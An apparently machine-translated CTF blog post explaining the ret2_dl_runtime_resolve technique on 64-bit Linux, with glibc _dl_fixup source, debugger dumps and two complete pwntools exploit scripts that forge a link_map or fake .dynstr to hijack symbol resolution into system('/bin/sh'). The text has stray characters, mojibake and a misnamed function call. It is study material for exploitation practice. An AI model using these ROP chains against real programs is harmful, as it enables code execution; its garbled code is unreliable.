ret2_dl_runtime_resolve
Jsjsj Lv2

ret2_dl_runtime_resolve(x86/x64)

I think ret2dl is very difficult, very difficult, really difficult, woo woo
link_map I think it is like the iofile on the stack, that is, link_map. Let’s analyze the source code.

Before analyzing the previous source code, let’s look at a few structures:

1
2
3
4
5
6
7
8
9
10
11
12
Elf32_Rel:
typedef struct
{
Elf32_Addr r_offset; /* Address */
Elf32_Word r_info; /* Relocation type and symbol index */
} Elf32_Rel;
Elf64_Rel:
typedef structc
{
Elf64_Addr r_offset; /* Address */
Elf64_Xword r_info; /* Relocation type and symbol index */
} Elf64_Rel;

The above is the relocation function structure,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;

typedef struct
{c
Elf64_Word st_name; /* Symbol name (string tbl index) */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility */
Elf64_Section st_shndx; /* Section index */
Elf64_Addr st_value; /* Symbol value */
Elf64_Xword st_size; /* Symbol size */
} Elf64_Sym;

The above is the symtable structure, which is precisely located by the r_info of the previous relocation function structure

In fact, these can be faked in linkmap, let’s look at the structure of linkmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> p *l
$1 = {
l_addr = 18446744073708782128,
l_name = 0x0,
l_ld = 0x601168,
l_next = 0x6bcf50,
l_prev = 0x7,
l_real = 0x0,
l_ns = 0,
l_libname = 0x0,
l_info = {0x601010, 0x68732f6e69622f, 0x4141414141414141, 0x4141414141414141, 0x4141414141414141, 0x601150, 0x601188, 0x4141414141414141 <repeats 16 times>, 0x601158, 0x0 <repeats 53 times>},
l_phdr = 0x0,
l_entry = 0,
l_phnum = 0,
l_ldnum = 0,
l_

I read it directly in pwndbg here, because of the structure of the source code, I have seen too little woo woo l_info This place containsDT_SYMTAB DT_STRTAB DT_JMPREL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
_dl_fixup (
# ifdef ELF_MACHINE_RUNTIME_FIXUP_ARGS
ELF_MACHINE_RUNTIME_FIXUP_ARGS,
# endif
struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab
= (const void *) D_PTR (l, l_info[DT_SYMTAB]); Get the DT_SYMTAB table of the linkmap
const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);

const PLTREL *const reloc
= (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset); Get the DT_JMPREL table of linkmap reloc relocation structure
const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)]; Get r_info in the relocation structure
void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
lookup_t result;
DL_FIXUP_VALUE_TYPE value;

/* Sanity check that we're really looking at a PLT relocation. */
assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT); r_infoδΈΊ7即可绕过

/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0) sym->st_other is not 0. In fact, this place can fill in a parsed got table. When the writegot table is retrieved, it will be \x7f,. The statement in this if is not what we want to play in 64 bits. These conditions jump directly to the else branch
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum =
(const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

/* We need to keep the scope around so do some locking. This is
not necessary for objects which cannot be unloaded or when
we are not using any threads (yet). */
int flags = DL_LOOKUP_ADD_DEPENDENCY;
if (!RTLD_SINGLE_THREAD_P)
{
THREAD_GSCOPE_SET_FLAG ();
flags |= DL_LOOKUP_GSCOPE_LOCK;
}

#ifdef RTLD_ENABLE_FOREIGN_CALL
RTLD_ENABLE_FOREIGN_CALL;
#endif

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope,
version, ELF_RTYPE_CLASS_PLT, flags, NULL);

/* We are done with the global scope. */
if (!RTLD_SINGLE_THREAD_P)
THREAD_GSCOPE_RESET_FLAG ();

#ifdef RTLD_FINALIZE_FOREIGN_CALL
RTLD_FINALIZE_FOREIGN_CALL;
#endif

/* Currently result contains the base load address (or link map)
of the object that defines sym. Now add in the symbol
offset. */
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value); It is found here that as long as you control l->l_addr and sym->st_value, you can directly move here, sym->st_value is written as the function address of one of our libc, and l->l_addr is covered with a function address that we want to hijack. system-write, why write write here, because the sym->st_value we hijacked before is the address of the hijacked write function in libc, and it should also be written as libc address here
result = l;
}

/* And now perhaps the relocation addend. */
value = elf_machine_plt_value (l, reloc, value);

if (sym != NULL
&& __builtin_expect (ELFW(ST_TYPE) (sym->st_info) == STT_GNU_IFUNC, 0))
value = elf_ifunc_invoke (DL_FIXUP_VALUE_ADDR (value));

/* Finally, fix up the plt itself. */
if (__glibc_unlikely (GLRO(dl_bind_not)))
return value;
c
return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
}rel_addr就是l->addr


elf_machine_fixup_plt:
elf_machine_fixup_plt (struct link_map *map, lookup_t t,
const Elf32_Rela *reloc,
Elf32_Addr *reloc_addr, Elf32_Addr value)
{
return *reloc_addr = value; We can see that the value overwrites reloc_addr and binds the value of the function. Next, directly when binding jmp r11
}
Automatically bind and jmp r11 to system :
──────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────
RAX 0xee
RBX 0x7ffff85dd3b0 β€”β–Έ 0x400740 (__libc_csu_init) β—‚β€” push r15
*RCX 0x7f8395536fd2 (read+18) β—‚β€” cmp rax, -0x1000 /* 'H=' */
RDX 0x100
RDI 0x601198 β—‚β€” 0x68732f6e69622f /* '/bin/sh' */
RSI 0x0
R8 0x0
R9 0x7f8395643d60 (_dl_fini) β—‚β€” endbr64
R10 0x601150 β—‚β€” 0xfffffffffff44230
R11 0x7f839547b290 (system) β—‚β€” endbr64
R12 0x400550 (_start) β—‚β€” xor ebp, ebp
R13 0x7ffff85dd4c0 β—‚β€” 0x1
R14 0x0
R15 0x0
RBP 0x6161616161616161 ('aaaaaaaa')
RSP 0x7ffff85dd000 β—‚β€” 0x100
*RIP 0x7f839564ac6b (_dl_runtime_resolve_xsavec+171) β—‚β€” mov rax, qword ptr [rsp]
────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────
0x7f839564ac52 <_dl_runtime_resolve_xsavec+146> mov r8, qword ptr [rsp + 0x28]
0x7f839564ac57 <_dl_runtime_resolve_xsavec+151> mov rdi, qword ptr [rsp + 0x20]
0x7f839564ac5c <_dl_runtime_resolve_xsavec+156> mov rsi, qword ptr [rsp + 0x18]
0x7f839564ac61 <_dl_runtime_resolve_xsavec+161> mov rdx, qword ptr [rsp + 0x10]
0x7f839564ac66 <_dl_runtime_resolve_xsavec+166> mov rcx, qword ptr [rsp + 8]
β–Ί 0x7f839564ac6b <_dl_runtime_resolve_xsavec+171> mov rax, qword ptr [rsp]
0x7f839564ac6f <_dl_runtime_resolve_xsavec+175> mov rsp, rbx
0x7f839564ac72 <_dl_runtime_resolve_xsavec+178> mov rbx, qword ptr [rsp]
0x7f839564ac76 <_dl_runtime_resolve_xsavec+182> add rsp, 0x18
0x7f839564ac7a <_dl_runtime_resolve_xsavec+186> bnd jmp r11

  • DT_STRTAB pointer: located in link_map_addr +0x68 (0x34 under 32 bits)
  • DT_SYMTAB pointer: located at link_map_addr + 0x70 (0x38 under 32 bits)
  • DT_JMPREL pointer: located in link_map_addr +0xF8 (0x7C under 32 bits)

Another thing to mention is l->addr, this fill in, this fill must be positive, if it is negative, it will report an error, so here we calculate the offset, if it is a positive sign, we will write it as a positive sign. The master conversion is & (2 ** 64 - 1), we roughly analyze the source code and we know the principle, the following is the construction of the linkmap board

1
2
3
4
5
6
1-- l_addr offset must be guaranteed to be positive here
2-- DT_JMPREL: make its address point to the location of the constructed .rel.plt relocation table entry
3-- Relocation table entry.rel.plt: make r_info, that is, the index redirected to the symbol table, is 0
4-- DT_SYMTAB: Make the address pointing to the symbol table write_got-0x8, so that st_value is equal to write_gotc
5-- DT_STRTAB: not used, just point to a readable location
After constructing from the above steps, you can get value = l_addr + write_got = real_system, write the value into the got table entry and successfully call the system function

Since the linkmap is not much different, the board of the online blog is directly used (if there is any infringement, please inform),

linkmap board:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
def fake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
# &(2**64-1)This is because the offset is usually a negative number. If you do not control the range, the p64 will go out of bounds and an error will occur.
linkmap=p64(offset & (2**64-1)) # 1-- l_addr

# 2-- fake_linkmap_addr+0x8: DT_JMPREL,Its structure refers to the .dynamic section
linkmap+=p64(0) # any value
linkmap+=p64(fake_linkmap_addr+0x18) # Fake .rel.plt address

# 3-- fake_linkmap_addr+0x18
linkmap+=p64((fake_linkmap_addr+0x30-offset)&(2**64-1)) # r_offset: The address on the got table, it is not used, it can be set to a readable and writable address
linkmap+=p64(0x7) # r_info: 0x7 >> 32 = 0, Corresponding to index 0 of the sym table, the first item
linkmap+=p64(0) # r_addend: any value

linkmap+=p64(0) # l_ns

# 4-- fake_linkmap_addr+0x38: DT_SYMTAB
linkmap+=p64(0) # any value
linkmap+=p64(known_func_ptr-0x8) # Point to the first address of the sym table, indirectly make st_value = known_func_ptr

# fake_linkmap_addr+0x48
linkmap+='/bin/sh\x00'
linkmap=linkmap.ljust(0x68,'A')
linkmap+=p64(fake_linkmap_addr) # Set the address where DT_STRTAB is located
linkmap+=p64(fake_linkmap_addr+0x38) # 0x70 Set the address where DT_SYMTAB is located
linkmap=linkmap.ljust(0xf8,'B')
linkmap+=p64(fake_linkmap_addr+0x8) #Set the address where DT_JMPREL is located: any readable area can be
return linkmap

Let’s play a stack overflow question directly. The use conditions are harsh, only overflow, and basically nothing else. At this time, we have to consider the ret2dl method.

The basic steps of stack overflow problem (PARTIAL_RELRO)

If there is an overflow in the first step, we migrate to a bss place, which is writable (executable), and then jump to the dl_runtime_resolve place, which is on our ida

1
2
3
4
5
6
7
8
9
.plt:0000000000400540 _read           proc near               ; CODE XREF: vuln+2F↓p
.plt:0000000000400540 jmp cs:off_601030
.plt:0000000000400540 _read endp
.plt:0000000000400540
.plt:0000000000400546 ; ---------------------------------------------------------------------------c
.plt:0000000000400546 push 3
.plt:000000000040054B jmp sub_400500 this place
.plt:000000000040054B ; } // starts at 400500
.plt:000000000040054B _plt

This involves the binding knowledge of a lazy binding

To directly adopt the words of Master Kotor’s master is:

When the library function is called for the first time, the program will first go to his plt table, push the second parameter reloc_offset of _dl_runtime_resolve, at this time the got table stores the next jump from his own plt table A statement, jump to the public plt[0], push the first parameter link_map, and finally call _dl_runtime_resolve to write the redirected address into the got table

image

This 0x8049030 is where we _dl_runtime_resolve (secretly took the picture of kot master, (escape)), then that’s ok, know this location, directly hijack the execution flow to this place when we finally return, and then hijack it again , we fill in a linkmap address we forged later, one is reloc_arg, here we are hijacking the linkmap, but we don’t need it, so it can be 0, and the construction can be started directly:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')

r = process('./pwn')
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')
read_plt = elf.plt['read']
write_got = elf.got['write']
vuln_addr = elf.sym['vuln']

#bss
bss = 0x601050
bss_addr = bss + 0x100
l_addr = libc.sym['system'] -libc.sym['write'] # l_addr = -769472, ι€šεΈΈδΈΊθ΄Ÿζ•°

pop_rdi = 0x4007a3
#pop rsi ; pop r15 ; ret
pop_rsi = 0x4007a1
#η”¨δΊŽθ§£ζžη¬¦ε·dl_runtime_resolve
dl_re = 0x400506

def fake_linkmap_payload(fake_linkmap_addr,known_func_ptr,offset):
# &(2**64-1)This is because the offset is usually a negative number. If you do not control the range, the p64 will go out of bounds and an error will occur.
linkmap=p64(offset & (2**64-1)) # 1-- l_addr

# 2-- fake_linkmap_addr+0x8: DT_JMPREL,Its structure refers to the .dynamic section
linkmap+=p64(0) # any value
linkmap+=p64(fake_linkmap_addr+0x18) # Fake .rel.plt address

# 3-- fake_linkmap_addr+0x18
linkmap+=p64((fake_linkmap_addr+0x30-offset)&(2**64-1)) # r_offset: The address on the got table, it is not used, it can be set to a readable and writable address
linkmap+=p64(0x7) # r_info: 0x7 >> 32 = 0, Corresponding to index 0 of the sym table, the first item
linkmap+=p64(0) # r_addend: any value

linkmap+=p64(0) # l_ns

# 4-- fake_linkmap_addr+0x38: DT_SYMTAB
linkmap+=p64(0) # any value
linkmap+=p64(known_func_ptr-0x8) # Point to the first address of the sym table, indirectly make st_value = known_func_ptr

# fake_linkmap_addr+0x48
linkmap+='/bin/sh\x00'
linkmap=linkmap.ljust(0x68,'A')
linkmap+=p64(fake_linkmap_addr) # Set the address where DT_STRTAB is located
linkmap+=p64(fake_linkmap_addr+0x38) # 0x70 Set the address where DT_SYMTAB is located
linkmap=linkmap.ljust(0xf8,'B')
linkmap+=p64(fake_linkmap_addr+0x8) #Set the address where DT_JMPREL is located: any readable area can be
return linkmap

fake_link_map = fake_Linkmap_payload(bss_addr, write_got ,l_addr)# δΌͺι€ link_map
payload='a'*120+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss_addr)+p64(0)+p64(read_plt)+p64(pop_rsi)+p64(0)+p64(0)+p64(pop_rsi)+p64(0)+p64(0)\+p64(pop_rdi)+p64(bss_addr+0x48)+p64(dl_re)+p64(bss_addr)+p64(0)
gdb.attach(r,'dir /home/roo/Desktop/ret2dl/glibc-2.31/elf')
r.sendline(payload)
raw_input()
r.send(fake_link_map)

r.interactive()

The above is just a brief introduction to the ret2dl of the program under PARTIAL_RELRO 64-bit. Of course, under 64-bit NO RELRO, the structure becomes very simple. Let’s briefly introduce it.

NO RELRO

This is a direct fake dynstr that is DT_STRTAB

name section name
DT_STRTAB .dynstr
DT_SYMTAB .dynsym
DT_JMPREL .rel.plt

see from ida

1
2
3
4
5
6
7
8
9
LOAD:0000000000400398 byte_400398     db 0                    ; DATA XREF: LOAD:00000000004002D8↑o
LOAD:0000000000400398 ; LOAD:00000000004002F0↑o ...
LOAD:0000000000400399 aLibcSo6 db 'libc.so.6',0 ; DATA XREF: LOAD:0000000000400408↓o
LOAD:00000000004003A3 aStdin db 'stdin',0 ; DATA XREF: LOAD:0000000000400380↑o
LOAD:00000000004003A9 aStrlen db 'strlen',0 ; DATA XREF: LOAD:00000000004002F0↑o
LOAD:00000000004003B0 aRead db 'read',0 ; DATA XREF: LOAD:0000000000400320↑o
LOAD:00000000004003B5 aStdout db 'stdout',0 ; DATA XREF: LOAD:0000000000400368↑o
LOAD:00000000004003BC aSetbuf db 'setbuf',0 ; DATA XREF: LOAD:0000000000400308↑o
LOAD:00000000004003C3 aLibcStartMain db '__libc_start_main',0

Before that, we tampered with dynamic strtable into our fake dynstr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
00000600E20 _DYNAMIC        Elf64_Dyn <1, 1>        ; DATA XREF: LOAD:0000000000400130↑o
LOAD:0000000000600E20 ; .got.plt:_GLOBAL_OFFSET_TABLE_↓o
LOAD:0000000000600E20 ; DT_NEEDED libc.so.6
LOAD:0000000000600E30 Elf64_Dyn <0Ch, 4004E8h> ; DT_INIT
LOAD:0000000000600E40 Elf64_Dyn <0Dh, 4007B4h> ; DT_FINI
LOAD:0000000000600E50 Elf64_Dyn <19h, 600E10h> ; DT_INIT_ARRAY
LOAD:0000000000600E60 Elf64_Dyn <1Bh, 8> ; DT_INIT_ARRAYSZ
LOAD:0000000000600E70 Elf64_Dyn <1Ah, 600E18h> ; DT_FINI_ARRAY
LOAD:0000000000600E80 Elf64_Dyn <1Ch, 8> ; DT_FINI_ARRAYSZ
LOAD:0000000000600E90 Elf64_Dyn <6FFFFEF5h, 400298h> ; DT_GNU_HASH
LOAD:0000000000600EA0 Elf64_Dyn <5, 400398h> ; DT_STRTAB I see here that it points directly to dynstr, and tampered with it to where we forged
LOAD:0000000000600EB0 Elf64_Dyn <6, 4002C0h> ; DT_SYMTAB
LOAD:0000000000600EC0 Elf64_Dyn <0Ah, 5Eh> ; DT_STRSZ
LOAD:0000000000600ED0 Elf64_Dyn <0Bh, 18h> ; DT_SYMENT
LOAD:0000000000600EE0 Elf64_Dyn <15h, 0> ; DT_DEBUG
LOAD:0000000000600EF0 Elf64_Dyn <3, 601000h> ; DT_PLTGOT
LOAD:0000000000600F00 Elf64_Dyn <2, 60h> ; DT_PLTRELSZ
LOAD:0000000000600F10 Elf64_Dyn <14h, 7> ; DT_PLTREL
LOAD:0000000000600F20 Elf64_Dyn <17h, 400488h> ; DT_JMPRELc
LOAD:0000000000600F30 Elf64_Dyn <7, 400428h> ; DT_RELA
LOAD:0000000000600F40 Elf64_Dyn <8, 60h> ; DT_RELASZ
LOAD:0000000000600F50 Elf64_Dyn <9, 18h> ; DT_RELAENT
LOAD:0000000000600F60 Elf64_Dyn <6FFFFFFEh, 400408h> ; DT_VERNEED
LOAD:0000000000600F70 Elf64_Dyn <6FFFFFFFh, 1> ; DT_VERNEEDNUM
LOAD:0000000000600F80 Elf64_Dyn <6FFFFFF0h, 4003F6h> ; DT_VERSYM
LOAD:0000000000600F90 Elf64_Dyn <0> ; DT_NULL

Finally, let’s look at the most important functions, the source code:

strtab + sym->st_name this time is pointing to our system, where we just tampered with strlen as system

Debugging is too complicated, many macro definitions, mainly as follows, directly complete the hijacking

1
2
3
4
5
6
7
8
9
10
11
12
13
    return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);


0x7f3ab197ac57 <_dl_runtime_resolve_xsavec+151> mov rdi, qword ptr [rsp + 0x20]
0x7f3ab197ac5c <_dl_runtime_resolve_xsavec+156> mov rsi, qword ptr [rcsp + 0x18]
0x7f3ab197ac61 <_dl_runtime_resolve_xsavec+161> mov rdx, qword ptr [rsp + 0x10]
0x7f3ab197ac66 <_dl_runtime_resolve_xsavec+166> mov rcx, qword ptr [rsp + 8]
0x7f3ab197ac6b <_dl_runtime_resolve_xsavec+171> mov rax, qword ptr [rsp]
β–Ί 0x7f3ab197ac6f <_dl_runtime_resolve_xsavec+175> mov rsp, rbx
0x7f3ab197ac72 <_dl_runtime_resolve_xsavec+178> mov rbx, qword ptr [rsp]
0x7f3ab197ac76 <_dl_runtime_resolve_xsavec+182> add rsp, 0x18
0x7f3ab197ac7a <_dl_runtime_resolve_xsavec+186> bnd jmp r11

Directly use the script of the online master as a template:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#coding:utf-8
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
r = process('./pwn')
elf = ELF('./pwn')
read_plt = elf.plt['read']
#The target of our attack, the address of strtab in .dynamic, we have to modify it here to point to fake_dynstr
target_addr = 0x600988 + 8
#The function used to load the function address, when we fake dynstr, call it again to load the function we need
plt0_load = 0x4004D0
#pop rdi;ret;
pop_rdi = 0x400773
#pop rsi ; pop r15 ; ret
pop_rsi = 0x400771
#δΌͺι€ dynstr
fake_dynstr = '\x00libc.so.6\x00stdin\x00system\x00' #原本dynstr为\x00libc.so.6\x00stdin\x00strlen\x00'
bss = 0x600B30

payload = flat('a' * 120 , pop_rdi , 0 , pop_rsi , bss , 0 , read_plt , # Write '/bin/sh' and fake strtab to bss segment
pop_rdi , 0 , pop_rsi , target_addr , 0 , read_plt , # Change the strtab address in .dynamic to the address of our fake strtab
pop_rdi , bss , plt0_load , 1 # Call .dl_fixup to parse the strlen function. Since we have replaced strlen with system in fake_strtab, the system function will be parsed

)
r.sendline(payload)
#Send system parameters and fake strtab
payload2 = '/bin/sh'.ljust(0x10,'\x00') + fake_dynstr
sleep(1)
r.sendline(payload2)
sleep(1)
#Modify the address of strtab in dynsym to the address of our forged dynstr
r.sendline(p64(bss + 0x10))
r.interactive()

So far, I have analyzed the ret2dl of the 64-bit pwn problem. If there is still time, I will analyze the 32-bit problem. I think 32-bit is more complicated. I wrote this article for two days. ! ! !

 Comments